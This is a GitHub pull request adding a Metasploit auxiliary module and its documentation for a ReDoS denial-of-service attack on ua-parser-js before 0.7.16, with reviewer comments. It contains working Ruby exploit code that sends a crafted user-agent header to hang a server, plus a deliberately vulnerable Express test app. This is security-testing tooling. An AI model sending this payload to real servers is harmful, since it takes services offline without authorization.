New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Adding ua_parser_js ReDoS Module #9284
Changes from 2 commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
## Vulnerable Application | ||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability | ||
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable. | ||
Any application that uses a vulnerable version of this module and calls the `getOS` | ||
or `getResult` functions will be vulnerable to this module. An example server is provided | ||
below. | ||
|
||
``` | ||
npm i ua-parser-js@0.7.15 | ||
``` | ||
|
||
## Verification Steps | ||
|
||
Example steps in this format (is also in the PR): | ||
1. Create a new directory for test application. | ||
2. Copy below example server into test application directory as `server.js`. | ||
3. Run `npm i express` to install express in the test application directory. | ||
4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js. | ||
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js. | ||
6. Once all dependencies are installed, run the server with `node server.js`. | ||
7. Open up a new terminal. | ||
8. Start msfconsole. | ||
9. `use auxiliary/dos/http/ua_parser_js_redos`. | ||
10. `set RHOSTS <IP>`. | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. rhost not rhosts |
||
11. `run`. | ||
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests. | ||
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests. | ||
|
||
## Scenarios | ||
|
||
### ua-parser-js npm module version 0.7.15 | ||
|
||
Expected output for successful exploitation: | ||
|
||
``` | ||
[*] Testing Service to make sure it is working. | ||
[*] Test request successful, attempting to send payload | ||
[*] Sending ReDoS request to 192.168.3.24:3000. | ||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive. | ||
[*] Testing for service unresponsiveness. | ||
[+] Service not responding. | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
### Example Vulnerable Application | ||
|
||
``` | ||
// npm i express | ||
// npm i ua-parser-js@0.7.15 (vulnerable) | ||
// npm i ua-parser-js (non-vulnerable) | ||
|
||
const express = require('express') | ||
const uaParser = require('ua-parser-js'); | ||
const app = express() | ||
|
||
app.get('/', (req, res) => { | ||
var parser = new uaParser(req.headers['user-agent']); | ||
res.end(JSON.stringify(parser.getResult())); | ||
}); | ||
|
||
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!')) | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,113 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Auxiliary::Dos | ||
|
||
def initialize | ||
super( | ||
'Name' => 'ua-parser-js npm module ReDoS', | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. getting kinda nit picky here but can we tighten up the spaces before the |
||
'Description' => %q{ | ||
This module exploits a Regular Expression Denial of Service vulnerability | ||
in the npm module "ua-parser-js". Server-side applications that use | ||
"ua-parser-js" for parsing the browser user-agent string will be vulnerable | ||
if they call the "getOS" or "getResult" functions. This vulnerability was | ||
fixed as of version 0.7.16. | ||
}, | ||
'References' => | ||
[ | ||
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'], | ||
['CWE', '400'], | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. As per comment in PR, was the project notified of the issue? That would give something to point back to. |
||
], | ||
'Author' => | ||
[ | ||
'Ryan Knell, Sonatype Security Research', | ||
'Nick Starke, Sonatype Security Research', | ||
], | ||
'License' => MSF_LICENSE | ||
) | ||
|
||
register_options([ | ||
Opt::RPORT(80) | ||
]) | ||
end | ||
|
||
def run | ||
unless test_service | ||
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.") | ||
else | ||
trigger_redos | ||
test_service_unresponsive | ||
end | ||
end | ||
|
||
def trigger_redos | ||
begin | ||
print_status("Sending ReDoS request to #{peer}.") | ||
|
||
res = send_request_cgi({ | ||
'uri' => '/', | ||
'method' => 'GET', | ||
'headers' => { | ||
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64) | ||
} | ||
}) | ||
|
||
if res.nil? | ||
print_status("No response received from #{peer}, service is most likely unresponsive.") | ||
else | ||
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.") | ||
end | ||
|
||
rescue ::Rex::ConnectionRefused | ||
print_error("Unable to connect to #{peer}.") | ||
rescue ::Timeout::Error | ||
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.") | ||
end | ||
end | ||
|
||
def test_service_unresponsive | ||
begin | ||
print_status('Testing for service unresponsiveness.') | ||
|
||
res = send_request_cgi({ | ||
'uri' => '/' + Rex::Text.rand_text_alpha(8), | ||
'method' => 'GET' | ||
}) | ||
|
||
if res.nil? | ||
print_good('Service not responding.') | ||
else | ||
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.') | ||
end | ||
rescue ::Rex::ConnectionRefused | ||
print_error('An unknown error occurred.') | ||
rescue ::Timeout::Error | ||
print_good('HTTP request timed out, most likely the ReDoS attack was successful.') | ||
end | ||
end | ||
|
||
def test_service | ||
begin | ||
print_status('Testing Service to make sure it is working.') | ||
|
||
res = send_request_cgi({ | ||
'uri' => '/' + Rex::Text.rand_text_alpha(8), | ||
'method' => 'GET' | ||
}) | ||
|
||
if !res.nil? && (res.code == 200 || res.code == 404) | ||
print_status('Test request successful, attempting to send payload') | ||
return true | ||
else | ||
return false | ||
end | ||
rescue ::Rex::ConnectionRefused | ||
print_error("Unable to connect to #{peer}.") | ||
return false | ||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lets change this to be more of a 'how to install' to include that example. See https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/gopher/gopher_gophermap.md#ubuntu-1604-install as an example. All the info is captured here though, just a little re-arranging